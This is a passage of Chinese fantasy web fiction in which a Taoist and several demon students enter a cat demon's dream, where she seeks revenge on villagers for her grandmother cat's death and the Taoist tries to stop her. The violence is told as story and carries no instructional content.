螃蟹又蹲了下来，蠕蠕啰啰地说：“我哪有什么执念？我这妖只求平安平凡，没有什么目标什么野心的，平平淡淡活到壳褪去就好了，这样的要求难道很过分吗？唉，早知道就死缠着爹娘，不来万妖堂了……”
“谢姑娘，”南显成觉得居高临下地和她讲话不礼貌，便也蹲在她边上，和声和气地劝啊，“也许我明白一些你的顾虑。”
螃蟹说：“我只要不去考核就没有顾虑了。”
“……可能是这样，不过事已至此，你已经在考核的路程之中了。”南显成道，“谢姑娘，你先前一直说叶姑娘和胡公子如何妖法超群，语气之中似有艳羡之意，其实……”
“其实我清楚明白就算我再努力也比不过他们的，”谢珍珠打断他的话，飞快道，“我就是比他们笨，就是没这修炼的天赋，我知道的……”
南显成一顿，微微点了下头：“确实是这样，不过你不必灰心，人无完人，妖无完妖，你自然有比他们二位厉害的优点。”
比叶米和胡和烈还厉害的优点？谢珍珠动了动耳朵：“比如？”
“比如……”南显成想了想，很是实诚道，“你比那两位要善解人意许多。”
谢珍珠：……
南显成：？
“你别说这个。”谢珍珠很显然不高兴起来，“善良是无用的！”
“怎么会是无用的？”
“善良有什么用？”谢珍珠难得愤言激语，“能让我走出这个梦境吗？能在遇到妖怪的时候保护别人吗？我只能眼睁睁看他们受伤、死去，徒然地在边上捧着善良的心流眼泪罢了！”
南显成这下是明白了她的心结，叹了口气道：“若是如此，万妖堂为何还要筹办考核一事？干脆让所有学生一一比试，选出妖法最强者成仙便是了，你们的师父何必要千方百计地为你们操心？”
“这……”谢珍珠有些踌躇，“是要走个流程……”
南显成摇摇头：“非也。我师父曾说，看一个人如何，既要察其心，又要观其行，可论心世上无完人，可见有一颗善良的心是万分难得的。再说，若不万妖之中有像谢姑娘你这般善良的妖，只怕人妖两界没有安宁之日了。”
“谢姑娘，你现下只是沉溺于考核一事，遭遇一些困境之后，为自己的无力而愧疚。”小道士朝螃蟹精说，“没错，各显神通的斗争确实很关键，可在刀剑之下，诡谲多变的人心才是输赢的要害。守正不移，才能邪不胜正。”
谢珍珠看他认真的脸，听他认真的话，心有所感，觉得他说得好有道理啊，不过还是有些迷糊
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：“我大概明白你的意思，不过你说的有些悬乎……”
悬乎……
南显成便眉心微蹙，面容凝重：“在下的意思是，我们如今身处的梦境并不是法力足够高强便能脱离的，就像胡公子那样，也许叶米也需要我们的帮助……需要你伸出援手拉她一把。”
谢珍珠的眼里闪着泪光：“叶米……也会需要我的帮助吗？”
南显成严谨发言：“不管需不需要，总得去看看是不是？”
“对。”谢珍珠点点头，“总得去看看……如果她需要呢……”
南显成看着渐渐消失的谢珍珠，心里总算松了一口气，忽地有些口干舌燥起来，不过现在不是找水喝的时候，他紧跟着螃蟹精离开了梦境。
出来外头，睁眼又是无尽的河水，南显成瞧见胡和烈和万情贞就在边上，不由得露出一个笑来：“万公子也出来了，太好了。”
“我拎出来的。”胡和烈瞥了眼书灵，“在里头没日没夜地写书呢。”
万情贞挠挠头，还有些不好意思：“毕竟我最大的心愿就是写出比月老写的还动人的爱情故事嘛……胡大哥说什么千里之行始于足下，我听着很有道理，便想出来走走，找找灵感，这就出来了。”
谢珍珠愁眉苦脸道：“现在我们都出来了，只剩下叶米了。”
南显成连忙问：“叶米在哪？”
谢珍珠转过来，南显成才看见她手上抱着一条系着红线的?鱼：“在这……”
“我试过了，进不去。”胡和烈皱起眉头，“而且我有种直觉，里边很危险……南显成，如果我们在梦里死了会怎么样？”
南显成还真没想过这个问题：“这……每个梦境情况应是不同的。”
“可、不至于吧……”万情贞看着那条闭着眼睛的?鱼，想象不出这就是猫大人，“不至于会死妖吧……我们都没事啊。”
胡和烈骂他：“笨啊你，都说了每只妖的梦境都不同，有像你这样无聊的，就有危险的，还有像我和谢珍珠能凑到一起的……刚刚我在梦里和叶米打了一架，受的伤都是实打实的疼，你说死了会怎么样？”
南显成紧抿着唇颔首：“胡公子说的是……不如几位去菩提树下等我，我进叶姑娘的梦中看看。”
胡和烈冒问号：“不是我说话难听，你和叶米有这么好的交情吗？”
南显成脸上的肌肉一僵：“是没有……但我不能见死不救。”
胡和烈古怪地打量他：“你知道里边很危险，对吧？”
“……总是要有人进去的，”他扯起一个笑容，“只怕叶姑娘在梦里待得越久，会越沉沦。”
“那我也要进去！”谢珍珠举手，又没什么自信，“说不定我能帮上忙……”
胡和烈瞅瞅南显成，又看看谢珍珠，干脆道：“啧，一起进吧。”
“不不不……我还是留在外边吧，”万情贞连忙摆手，又怕他们觉得自己胆小，还解释道，“总得留一个人在外边看着情况吧？”
65. 第 65 章
“好。”南显成觉得这样安排也行，“那劳烦万公子到时候带我们几只鱼去菩提树下……”
谢珍珠恍然大悟：“原来那是菩提树，我说怎么有几分眼熟呢？”
“是，”南显成目露思索，“菩提树是佛教圣树，寓意向善而得道。传闻莱茵河由观音大士的一滴泪幻化而成，也许这四棵菩提树上有观音的神力，在危急关头，或许能救我们一命……当然，这仅是我的猜测。”
几妖一听也觉得有理，便照他说的办。
可计划好了是一回事，实际的情况是另一回事，三妖一人整了半天，结果只有南显成进去了，任胡和烈和谢珍珠怎么费劲儿都是徒劳无功，搞得三妖都摸不着头脑。
胡和烈试了一次又一次，他多么想救猫于水火，然后在她面前耀武扬威啊，可每次都失败，不得不生气道：“不是，他凭什么？”
谢珍珠也是累得满头大汗，不过汗水浸在河水之中瞧不出来：“刚刚我看南公子也是很不容易才进去的，难道是我们不够努力？”
万情贞盯着手腕上的红线瞧了瞧，猜测道：“嘶……会不会是因为这情缘线是他们道家的宝贝，他是个实打实的道士，我们是妖，所以情缘线会更听他的话一些……它排挤我们！”
谢珍珠：“那为什么南公子进去也费劲呢？”
万情贞：“也许是猫大人的梦里真的很危险，情缘线不想他以身犯险？”
“啊……”
“算了，”胡和烈缓了缓气，“事已至此，去菩提树下等着吧。”
“……哦。”
三妖只好带着叶米和南显成幻化成的两条?鱼来到菩提树下，闲谈时才发现，原来他们五个发现了五棵菩提树，真是这么正好？万情贞便好奇到底有多少棵树，胡和烈闲着坐不住，便说：
“行，你们两个坐在这，我去弄个明白。”
谢珍珠已经坐在树下了：“胡大哥你小心。”
“我能出什么事。”
他撂下这一句话就走了。
两妖挨着坐，自然地聊起天来，万情贞看着?鱼：“说起来，我好好奇猫大人的梦里是什么景况啊……”
话分两头，猫被猫婆婆叼入白骨林之后，被糊了一背的、塞了一肚子的草药，发热了三天三夜之后，总算侥幸活了下来。
猫婆婆是一只上了年纪的普通的老猫，不会说话，也不爱说话，因为年纪大了懒得动弹，每日就爱待在窝里休息，有太阳的时候出来晒一晒，偶尔吃一嘴猫送来孝敬她的食物。
除了猫婆婆外，白骨林里还有许多和她一样成精却没化形的小妖，猫和他们打交道的时候总需要一个称呼什么的，就琢磨着要给自己取名。
她没上过学堂，也不认识字，回想和人类接触的时候，印象最深刻的就是他们喊什么“野猫”“咪咪”“来吃啊”什么的，再加上她不觉得姓名是什么很重要的玩意，不过是让她知道别人在叫自己、别人也有称呼可叫她罢了。
不然人家总是叫“喂那只背上有道疤的猫”“喂那只瘦不拉几头上带黄的猫”“喂那只被捡回来的猫”……什么的，她听得也不爽快。
于是猫就很随便地取了个简单的名字：野咪。
后来白骨林里来了一个在外边上过两月学堂的猴妖给她改了个谐音的，说是笔画少了，还好写一些，叶米就欣然应允了。
叶米日日勤勉修炼，可白骨林里灵气多而混杂，没妖指引教导，她好几次差点走火入魔。她去那些猴妖蛇妖蜘蛛精等等妖前辈处偷师，可惜人家练的都是种族天赋带来的妖法，荡树吐毒织网啥的……
她也不是没试过吧，奈何荡树没这么长胳膊，吐毒甚至没那么多口水，织网……真是没这条件啊。
叶米就忧心起来，她想为何世上的猫妖这么少呢？说到这个，她近日还有一烦恼的大事，就是猫婆婆精神不大好，叶米明白她是时日不多了，一直在绞尽脑汁地想办法把猫婆婆变成妖，虽然老人家不愿意。
不过猫婆婆不愿意是一回事，她强迫猫婆婆是另一回事，叶米执意要它活着，猫婆婆骂她揍她哈她，她也不在意。
为什么要活？叶米也不知道，她觉得活着总比死了好，更何况她舍不得猫婆婆，她要它一直陪着她。
可她太无知了，自己想不出什么法子来，去问其他妖，问来的都是乱七八糟的办法，也不敢往猫婆婆身上用，搞得叶米烦躁得很，树都被她磨爪磨烂了好几棵。
这日，她听说白骨林深处有一种仙虫，只在夜半丑时才会出现，如梦似幻，有影无形，瞧得见却捉不着，据说吃下这仙虫，寻常动物便能成妖，普通小妖则能增强妖法。
叶米动了心，打算捉个十几只回来，她告别猫婆婆：“婆婆，我出去两日，很快回来。”
猫婆婆正在窝里休息，闻言抬起眼皮，用琥珀色的眼睛静静地看着她，轻轻道：“喵……”叶米，不要执着了。
叶米道：“婆婆，您也别执着了，当妖精多好？活得久，等我以后厉害了，就没人能再欺负我们。”
“喵……”我活得够久了。
“你才活了二十多年，哪里久了！”
“喵……”我知晓，我这辈子命数已尽，并无成妖机缘，你也不必再为我费心，对猫来说，二十多年已经很长很长了。
叶米绷着猫脸，不高兴地看着猫婆婆，黑溜溜的猫眼和疲累但不暗淡的琥珀色对视着，明晃晃的样子一看就藏着许多话。
“喵……”最后还是猫婆婆叹了口气，“喵……”
叶米，你既已成妖，前途未卜，婆婆愿你一路平安。
“我马上捉仙虫回来，婆婆你等我。”
这仙虫确实很难捉，抓住了又像没抓住，紧紧地困在手里也会被它们溜走，叶米费了好大的劲才捉住了一只，兴致勃勃地赶回家时，往常卧着猫婆婆的草垫上却空荡荡的。
“我
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婆婆呢？！”叶米问树上的鸟妖。
鸟妖琢琢翅膀，转过头来：“你婆婆快死了，不忍心你对它的尸体伤心，离开了白骨林，自己找个地方等死去了。”
叶米脑子轰的一声，摇摇头道：“不可能，还来得及的，只要婆婆还没死……鸟姐姐，你看它往哪里去了吗？”
鸟妖指了个位置，又劝道：“叶米，你婆婆让你别去找她。生死有命，它也不愿做妖，你为何要勉强它？”
叶米的眼里似乎噙着一些些不明显的泪水：“不行！”
吼完这么一句，她就张开四肢飞快地跑走，离开白骨林浑浊的妖气之后，她就能辨出空气中猫婆婆的味道了，就这么一路跑啊跑，一刻也不敢停歇地跑，跑过好长的路，又穿过一条浅浅的小溪，一片不深的林子，最后到了一个村庄前。
这个村子有些熟悉……
但现在不是忆往昔的时候，叶米跑进村落，在混杂的味道中找到猫婆婆的气息，很快就赶到了一户人家门口，院子门开着，她飞快地跑到里头，先是闻见了一股扑面而来的血腥味，地上流着一滩血水，再抬头一看，一个男人在给一只黑猫剥皮。
叶米呆呆地和黑猫头上的琥珀色眼睛对视了片刻。
这是什么感觉？
听说修炼歪门邪道的妖终有一天会自食其果、五雷轰顶。叶米现在就有种被五雷轰顶的酸麻感，这果真是要猫命的，仿佛要将她电死了，再重新生起一个由恨意组成的她。
“这又是哪来的一只猫？”
叶米听见男人的声音，抬头和他对视上，这张中年男人的脸忽地触发了她记忆中的某一个场景，背上早就愈合的伤疤开始发痒，她立刻想使劲抓挠，要抓出血来才罢休。
“原来是你。”叶米说。
“猫、猫说人话……”男人吓了一跳，手上的剥皮动作也停了下来，但手上的血还在流淌着，“你是妖怪？你你是……你是不是四年前那只……”
叶米的猫脸上看不出什么情绪：“你还记得我？”
男人大惊：“你居然没死！？你、你又回来做什么……”
叶米掏出仙虫吞下：“如你们所愿，找你们报仇。”
男人先是一愣，脸上闪过一瞬恐怖的神情，可很快他就擦了把汗，不知道自己把手上的猫血擦到了脸上：“哈哈，你、你不过是一只尚未化形的猫妖，看样子和四年前并无二致，不过体格大了些罢了，难道你不怕再被我们全村人围剿！？”
他话音一落，忽见那猫身上发出一道刺眼的光来，连忙闭眼避其锋芒，再一睁眼，哪里还见那只会说话的三花猫，水灵灵地站在那的变成一个会说话的姑娘了。
妖会化形，就相当于妖法进入了新的阶层。叶米日日潜心修炼，本就处在化形的临界点，这一只仙虫助她打破了桎梏。
陈叔顿时大惊失色，根本不敢再多看叶米一眼，惨叫一声“救命啊”，脚下打滑地往后跑去。
66. 第 66 章
叶米倒没马上追上去，她第一次化形，若不是赶上猫婆婆死了，心里总该是高兴的，这会看看自己没几俩肉的手，咬牙捏了捏拳头，再挣开时长出了利爪，哪怕她现在心不在焉的，依旧能感到身上充满了力量，肢体都轻盈许多。
杀个人……不，杀一村人都是轻而易举的。
她要报仇。既是为了猫婆婆，也是为了背后那道疤痕。
叶米似有所感地看向黑色皮毛已经被扒去大半、露出里头骨骼和脏腑的猫婆婆，它的头垂在木桌边缘，藏着好多话的眼睛静静地看着她。
“婆婆……”猫说，“你再等等，我马上带你回家。”
如果猫婆婆这时候还能说话，会对她说什么呢？
叶米想，反正肯定不会是“去杀了他们”吧。
她轻盈地跳上屋檐，“哒哒哒”地在上边跑跳，路过一些诧异的村民，成功找到了正在大喊“救命有妖怪”的陈叔，他已经混到一群人之中，见她追来，眼珠子匆忙地转了转，跟抓住救命稻草一般抓住了靠着墙的一个扫帚，指着猫道：
“你你你、你别过来，我们人多势众，你不一定打得过我们！”
后边立刻有人窃窃私语：“她就是老陈说的四年前的那只猫妖？”
“已经能化形了啊，是不是变得很厉害了，我们打得过吗？”
“他娘的，早知道四年前就该把它杀了！”
“做人果然不能心软……”
“别急啊，看她这模样，瘦不拉几的，也不是很厉害的样子嘛……啊！！”
叶米瞥了他一眼，一伸手，那说她“不是很厉害”的男人就被凭空拎了起来，吓得只能发出声声惨叫，猫手再一挥，他就被砸到了一边的墙壁上，顿时晕了过去，脑壳从墙上滑下来，画下一条血迹。
人群一静。
小试牛刀之后，叶米勾唇微笑，朝拿着扫帚的陈叔说：“到你了。”
陈叔：……
他被这未知的力量吓得腿软，干脆就着膝盖跪了下来，把可怜的扫帚扔到边上，苦苦哀求道：“饶命啊大人，饶命啊！四年前是我糊涂，我有眼不识泰山，不是故意要杀你的！我该死、呸，我该打！”
这么说着，他开始打自己巴掌，一声一声清脆响亮，看得出他求生的迫切。他这样识相倒是让后边的一干村民好尴尬，不知道该逃还是该陪着扇巴掌，想想还是别动好了，毕竟妖杀出头人嘛。
叶米冷眼看着他：“你杀了我婆婆，你该死。”
“你婆婆？”陈叔一懵，忽地想起什么，脸上露出急切的希冀，“不是我杀的、那只黑猫不是我杀的！是我在林子里捡到了它的尸体，想着天快冷了，想给我家孩子做一件保暖的背褡……我没有杀它啊！它早就死了！”
早就死了……难道她还是晚了一步吗？
叶米垂眸黯然，但转瞬又抬起眼，摇摇头说：“我不信，就是你杀了他。”
陈叔见她不信，往人群里看了看，着急地找人给自己作证：“老李、老李，你说话啊，你早上是不是见我提着这黑猫的尸体回来的？我同你说是捡到的猫尸对不对？”
那老李被他拉拉扯扯地拉扯出来，都不敢看猫一眼，但还是很小心地点了点头：“是、是……确实是说捡到的猫尸。”
人群里又有一人道：“我在街上碰到过老陈，他也同我说是捡来的，回去要给他娃娃做背褡……那时他也没想过会被你找上门来，总不至于说谎吧？”
“是啊是啊……”
“肯定是捡的。”
“其实黑色也不好看，橙色的才好看……”
……
叶米听他们给陈叔作证，听了一会后点了点头，在陈叔试探的希望目光中，忽地笑了一声：“我不信，你们都是一伙的。四年前一起来杀我，现在一起说谎骗我。对，你们都该死。”
一干村民：。
陈叔从来没觉得自己这么冤枉过，但此时他也明白，和这只妖讲道理是没有用的，他只能像个孙子似的跪在地上，双手合十地求猫奶奶：“大人明鉴，真不是小人杀的啊，小人求您饶我一命，您要什么我都给您！”
叶米觉得自己也很讲道理的：“你杀了我婆婆，一命偿一命，这也是你们人类说的。”
陈叔本就吓得要死，现下又听见这荒唐的话，简直要崩溃了：“猫命怎么能和人命相提并论！”
猫歪了歪脑袋：“你说什么？”
可等他意识到自己说错话的时候已经来不及了，在人群的惊叫声中他被拎到了空中，脖子上传来的紧迫感让他难以呼吸，可还要努力求饶：“我、我说错……”
猫冷漠地看着他：“你是说，我的命比不上你们凡人重要？”
陈叔涕泗横流的脸努力摇了摇，双脚因为踩不到地而无措扑腾着：“大、大人，您自、自然是、最尊贵的……”
猫：“你刚刚可不是这么说的。”
陈叔：“……小人说错了，小人说错了……大人饶命……”
猫看着他迫切求生的、可怜的表情，却在这时候懂得了一个对方不想让她懂得的道理，原来人在危难关头说的话是做不得真的。
他，他们……就是觉得猫命没有人命重要，不然为何四年前要将偷鱼吃的她赶尽杀绝？不然为何他会捡猫尸回去剥皮做背褡穿？其实答案已经很分明了，在他们眼里，猫和背褡是一样的。
叶米一直觉得自己是猫，成妖之前是，成妖之后是，化形之前是，化形之后也是。但是在他们看来，原来是不一样的。
她当然知道追究根本是她变了，她变强了，所以她的猫命就变成了“最尊贵”，就可以和人命相提并论……原来这一切的道理是弱肉强食，无关她是谁，他们是谁，所有身份都不重要。
叶米于是懂了，陈叔杀猫没有错，如此可推，妖杀人也是没错的。
她的手缓缓攥紧，淡然地看着人类的脸呈现出青紫色的痛苦，看似不紧不慢地杀着人，其实脑子里还在出神地想：
如果一只普通的
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猫杀了人，猫有错吗？
“叶米！”
这个故事告诉我们杀人的时候要专心，不然就会像猫这样，一时不察被人偷袭打了手，手疼不说，将死之人还侥幸得了救，在地上大口大口喘着气，流泪不止，咳嗽不停。
叶米侧过脸去，看见一个穿着一身普通的灰蓝色圆领窄袖衫，头发全然束起在幞头下，面容清俊的陌生男人，他脸上有惊恐和慌张。
猫奇怪道：“你怎么知道我叫叶米？”
南显成真是要被吓死了，一进来就看到叶米在杀人，明显情况不对啊，顾不了三七二十一，赶忙把猫拦下了。
“我……”南显成的心还在突突，“说来话长，叶姑娘，能否换个地方说话？”
叶米挑眉：“你怕被他们听见？”
“……是有些不方便。”
叶米颔首：“你等会，我把他们都杀了。”
南显成：……？
他都听傻了，这时候人群中忽然有人叫道：“南显成，这一切都怪你，要不是你四年前执意要救下这只猫，她、她怎么还有命回来杀我们！”
南显成：……？
叶米恍然大悟地看着他：“原来当初救我的是你，好，既然如此我就饶你一命，快滚吧。”
南显成：……？
等下，信息量太大了！
他来不及梳理，只得先强调道：“叶姑娘，你不能杀他们，这里……”
叶米：“你有什么资格管我？”
“……你误会了，”南显成换了个说辞，“叶姑娘，我要和你说的事非常要紧，这些村民一时半会也逃不出你的手掌心，不如你听我说完，再做决定也不迟。”
叶米不知道他葫芦里卖的什么药，不过他说的没错，她杀个人是很轻松的事，她便和那些村民放了话：“谁走出三步之外，格杀勿论。”
村民们刚刚看她差点要杀死两个人，早就老实了，气都不敢喘重一些。
南显成不知为何梦里的叶米每句话都是喊打喊杀的，他不由得提心吊胆了一些，瞥了眼那些瑟瑟发抖的村民，斟酌着和猫说了事情的前因后果：“……叶姑娘，事情就是这样，在下说的无一句虚言。”
叶米听到一半的时候就已经表情不对劲了，她抱着胸，漠然地看着他：“你要怎么证明你说的是真的？我如何知道这是不是你编造出来为了救你们村民的谎言？”
南显成看她的眼里是满满的真诚：“若不是真的，我为何知道你的名字？”
叶米沉默。
南显成见她若有所思，还以为自己说动了她，谁知道她忽然轻飘飘地问：“既然都是假的……那我杀了他们不是更无所谓了？”
南显成：？！
等下，她这个脑回路怎么是这样的！
“叶姑娘！”他真是苦口婆心啊，“是我先前没说清楚，那我直白地说，这就是针对你的一场考验，在下猜测，如果你想逃离这梦境，应该要选择放过他们，也是……放过你自己。”
67. 第 67 章
叶米：“让我放过他们就是你说这些的目的？”
“是……但不是你想的那个意思。”
叶米：“放过我自己？可当初，他们可没想放过我。”
“凡人愚昧，求不得你原谅，”南显成叹了口气，神情无奈而落寞，“叶姑娘，你是要成仙的妖，不能执着于这些爱恨情仇，若是你醒来之后发觉自己做错了事，定会懊悔不已。”
他看着她，甚至这么说：“这些人的性命……有你的成仙之位重要吗？”
“成仙？”叶米眨眼，“我为何要成仙？”
南显成：？
叶米：“当神仙有那么多规矩，想报仇想杀人都不行，一点也不自在高兴，我才不要成仙。”
南显成：？
叶米：“这么看来，还是当妖怪好啊，无拘无束，自由自在。世上有那么多厉害的妖怪，就是连天上的神仙对他们都要避让几分，成为这样的大妖才是我的目的。”
南显成：？
叶米：“你说够了没？别以为你之前救了我我就会一而再再而三地给你好脸色看，再说这些废话我就不客气了。”
南显成：……聊崩了。
她懒得再理会这啰嗦的人类，打算先杀个人助助兴，可当她的妖法要触碰到那个满脸惊恐的男人时，一把木剑将它劈开了。
叶米看着南显成的眼神忽地变得杀气十足：“原来你是道士。”
“叶姑娘，”南显成眉目肃然，分外认真，“我不能眼睁睁地看你掉入囚梦坑的陷阱。”
叶米也有些生气了：“你是我什么人，用不着你这么好心！”
她话音一落就伸出利爪来往陈叔扑去，南显成连忙挥剑抵挡，这一挡，他感受到木剑反震而来的妖力，暗暗心惊叶姑娘的不留情，而且这梦境虽然把他们带到了从前，但他感受到叶姑娘的法力并未衰弱……
其心可诛啊，太阴险了。
一道士一妖就这么打了起来，村民们也不是傻的，此时不逃更待何时？连忙拔腿就跑、抱头鼠窜。
叶米和他打了几个来回，感到几分不对劲，她调到屋檐上，诧异地看自己的手：“为什么……我的妖法……”变得这么厉害了？
“叶姑娘，”好不容易等到她停下来，南显成喘了口气，见缝插针地想让她清醒一点，“我不知道幻境里的时间是何时，但你真正的法力一定远超了幻境里的境界，你如此聪颖，想来不用我说，也发现了不对劲。”
叶米竖着猫瞳看向他，又见他苦笑道：“现在你能稍微相信我一些了吗？”
猫沉默地了一会道：“所以你的意思是，只要我不杀那些村民，就可以出去了？”
南显成：“……是？”
叶米点点头，抬头和灰蒙蒙的天道：“好，我不杀他们。”
南显成微怔。
然而过了一会什么都没有发生，叶米看着云又重复了一句：“我不杀那些村民了，让我出去。”
南显成：……等一下，这个场景有点眼熟。
又又过了一会，叶米仰着脑袋望天的脖子都有些酸了，她慢慢地勾起一个自嘲的笑，用一种漫不经心的语调道：“我不会杀他们。”
南显成这时候想到了他们几妖商量着要不要杀张三的那个晚上，猫也是用这种方式来试探的，答案自然是没有答案，可这样的无声就像是一种残酷的默认。
他看着猫难以揣测的神情，终于明白为什么情缘线那么抗拒带他进来。
原来叶姑娘的心结是她对凡人的杀心。比起输赢，当然是爱恨更难化解。
话说回来，南显成突兀地想起一件事，那些村民说他曾在四年前救了她……这是什么意思？
他正走神地想着呢，忽然胸前中了一招，猛地往后摔去，撞到了一颗茂密的大树，摇下许多叶子来。南显成捂着胸口抬眼看猫，神色无奈：“叶姑娘……”
叶姑娘：“你骗我。不过我说过了，看在你先前救过我的份上，这次饶你一命。”
她冷漠无情地瞥了他一眼，转身离开，显然是去找陈叔了。
南显成虽说被饶了一命，但这一招她也没多手下留情，直接给人打吐血了。即便如此，善良的道士依旧强撑着拿起桃木剑，忍着内脏的喧嚣，紧忙往猫离开的地方追去。
与此同时，梦境之外，囚梦坑中。
万情贞正打盹着，忽然感到手上一温热，低头一看，代表南显成的?鱼竟然吐出一口血来，他吓了一大跳：“我去，南公子怎么吐血了！？”
谢珍珠连忙凑过去看，大惊失色道：“肯定是他在叶米的梦境中受伤了！叶米……叶米怎么样了？”
她低头看自己手中的?鱼，这条原本闭着眼睛的鱼不知何时睁开了眼，原本类人的瞳孔正在逐渐变红，显然不对劲啊，谢珍珠的手忍不住发起抖来：“怎么回事？为什么会这样？”
“红眼睛……”万情贞傻了眼，呆呆道，“是走火入魔的前兆……”
“你胡说！”谢珍珠不敢相信地摇摇脑袋，“叶米这么厉害，怎么可能会走火入魔？”
万情贞把吐血的鱼显成捧到她面前：“喏，可不是厉害吗？”
谢珍珠：……
她又气又急：“都什么时候了，你还在这说风凉话！”
万情贞冤枉大喊：“我也想有办法，这不是没办法吗！进又进不去，在外边也只能干等，你当我不着急啊？我难道想看到猫大人出事？”
两妖面面相觑，两个都不是会吵架的脾气，很快就蔫了下来，谢珍珠抽抽鼻涕道：“我们去找胡大哥……”
说来也巧，胡大哥这时候兜了一圈正好回来，神色古怪：“奇怪，为什么其他四棵树都不见了……喂，你们俩什么情况，一脸丧气？”
两妖把两条鱼捧起来，嘀嘀咕咕说了一堆，还好胡和烈听明白了，他直截了当道：“我再试试能不能进去。”
这么说着，他试图再次用灵力连接情缘线，可是这次直接被弹飞了几丈远，好险
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站稳了没摔倒，不然可要丢面子。
“胡大哥！”谢珍珠没想到情缘线的反抗这么强烈，脑袋里立刻冒出许多不好的念头，一幕幕冲击着她，整只妖害怕地发起抖来，“连胡大哥都进不去……我要怎么办？”
她思绪混乱不已，在许多自责和害怕的念头之间，忽然闪过一句话：
【……传闻莱茵河由观音大士的一滴泪幻化而成，也许这四棵菩提树上有观音的神力，在危急关头，或许能救我们一命……】
她可恶自己的没用，但事已至此还能如何，就像那些身处绝境的人别无他法，可怜地希望有谁能拉自己一把，谢珍珠此时能想到的似乎也只有这样。
她跪在菩提树前，手捧着?鱼哀哀地祈求道：“观音娘娘，求您救救叶米和南公子，娘娘您大慈大悲、救众生灾劫，如今叶米遭难，求娘娘显灵，扶危救苦……南公子是大好人，叶米、叶米也只是刀子嘴豆腐心，谢珍珠保证，她一定是只好妖……”
胡和烈和万情贞看看谢珍珠，又看看彼此，低头又瞧见又在哇啦啦吐血的鱼显成，还有浑身开始冒黑气、情况万分不妙的鱼叶米，一时竟别无他法，纷纷跪在谢珍珠边上：
“观音娘娘，您既然让菩提树长在水下，定是不忍陷入囚梦坑中的人遭难，我们虽是奉命而来，但也是真心想帮助莱茵村解决困境，如今猫大人和南公子因助人身陷困境，您不能见死不救啊！”
“观音大士，若是叶米走火入魔，民间恐要遭难，她是万妖堂名列前茅法力高强的妖，只怕她之后称霸一方、为非作恶。她既有向善之心，还请观音大士宽恕她在梦境之中犯下的一念之错……”
……
刀子嘴豆腐心·有向善之心的叶米确实在犯一念之错，她恶劣地将村子里的房屋都砸烂了，甚至鸡窝鸭棚都不放过，人是还没杀一个，但村子里已经四处是鬼哭狼嚎之声，恍若人间地狱。
陈叔真是很怕死的，他跑出来村外，来到了一间破旧的观音庙里。其实他躲在哪里都是无用之功，叶米很快循着味来了，一脚踢开寺庙暗沉的朱红色大门，气势分外嚣张。
“啊！！”
陈叔吓得瘫倒在地上，挪着屁股往一根柱子后面爬，一边哭一边不住流泪：“我错了，我知道错了，求你不要杀我，不要杀我……”
南显成匆匆从寺庙后门赶紧来，连忙护在陈叔面前：“叶姑娘，手下留情！”
叶米把这村子都砸烂了，心里的火气却不减反增，她愈发不得劲起来，自己也不知道为什么，这会看着道士带着些哀求的、凝重的脸，嘴角的血液还很新鲜，又生了一股说不分明的戾气，忽然心生一计：
“手下留情……哼，好啊。”
好……啊？
道士天真地有了一丝笑意：“叶姑娘，其实你还是心善的……”
叶米道：“我姑且相信他没有杀了我婆婆，不过他扒了我婆婆的皮、还有四年前伙同村民对我追杀围剿、砍伤我的债我不能不算。”
68. 第 68 章
南显成停了一愣，叹了口气，抿着唇很小幅度地颔首：“……是，这是他们不该。你想如何算？”
“他们凡人不是经常说……以牙还牙以眼还眼吗？”叶米很是理所当然道，“既然如此，我就在他背上砍一刀，再扒了他的皮！若是到时候他还活着，我便不再追究。”
南显成：……这很难再活着吧？
就连陈叔听了她骇人的发言，也哭喊道：“妖女，你是要我生不如死！那还不如让我一招毙命！”
叶米猫眼一眯：“这可是你自己说的。”
南显成从没觉得这么无力过，他心想怎么着都得先稳住猫：“叶姑娘，能不能再商量商量？不如这样，你先砍他一刀，至于扒皮……等他死后再说？毕竟你婆婆也是在死后才……”
陈叔瞪眼：“南显成，你也不说人话了是吧！”
南显成有什么办法啊，这都什么时候了，保住条命就不错了！
叶米本来还觉得有一丝丝的道理，但看那陈叔不知好歹的态度，也不乐意了：“得寸进尺！”
她觉得也不必要和这些不知好歹的凡人再多说了，双手长出利爪就朝陈叔飞去，南显成自然是拿剑抵挡，叶米讨厌这个碍事的道士，她忍着触碰桃木剑时的疼痛，一把握住剑身，手掌心瞬间流出大片的鲜血。
道士一惊，想收回剑却怕更伤着她，这样束手束脚着就被猫妖得了机会夺过了桃木剑往空中一抛，没了道士的灵力庇护，染着妖血的木剑瞬间在空中化黑腐朽脆断。
叶米的手掌也因为桃木剑完整地蜕了层皮，掌心刺骨灼热的疼痛对她来说不算什么，她张着血手去抓柱子后的陈叔，南显成又把她的手打开，他没了木剑，只好赤手空拳地和叶米打来回，眨眼间身上就多了许多抓痕。
一边打，他还见缝插针地劝叶米“放下利爪”“立地成佛”“别在庙里杀人不如出去打吧”“观音娘娘都看着”啥的，猫妖越听越烦，狠狠往他肩膀上一抓，轻薄的衣衫被抓破，皮开肉绽。
叶米余光瞥见却是一愣，那道鲜红的新伤疤交叉了一道颜色浅浅痕迹深深的旧伤疤，完成了X的最后一笔。
这是……
南显成顺着她难得停顿的视线看去，也瞧见了胳膊上的新伤旧伤，新伤是怎么来的大家都知道了，这旧伤却没有由头，他出生起便有了，说是伤，不如说是像伤的胎记。
他师父曾说，这道伤是份因果。
南显成虽然是天道有轮回的诚心拥护者，但从未在意和探索过自己身上的因果，人活这一世，何必问前因？可此时此刻，他看着新伤叠着旧伤，那道胎记也染上了鲜红的血液，脑海里似乎有什么一闪而过。
不等他细想，猫妖抓住他的肩膀往边上一推：“滚！”
南显成强撑着稳住身形不被扔出去太远，眼睁睁地看着叶米不屑地撕下被他贴上的定身符，转而将妖爪伸向了已经害怕到面如死灰的陈叔，他实在顾不得那么多，咬牙强撑着一口气扑了上去，替陈叔挡住了掏心猫爪。
猫妖：？
她也是服气了，看看自己埋入对方胸膛大半的爪子，指尖仿佛已经触碰到了那砰砰跳动的心脏，再看看南显成毫无血色的脸，脑子一轰，不解又恼怒道：“我不杀你，你偏要来送死！”
南显成的双唇微微颤抖，苍白的唇色映着嘴角的血更加刺眼，他无力地撑着双眼，虚弱而飘忽的声音传进猫妖灵敏的耳朵里：
“我情愿被你杀……你就不会有杀孽……”
猫妖盯着他痛苦又柔和的眼睛：“有杀孽又如何？”
“不行，”道士微不可察地摇摇头，眸光却定着，“你要成仙……”
成仙？
成仙……
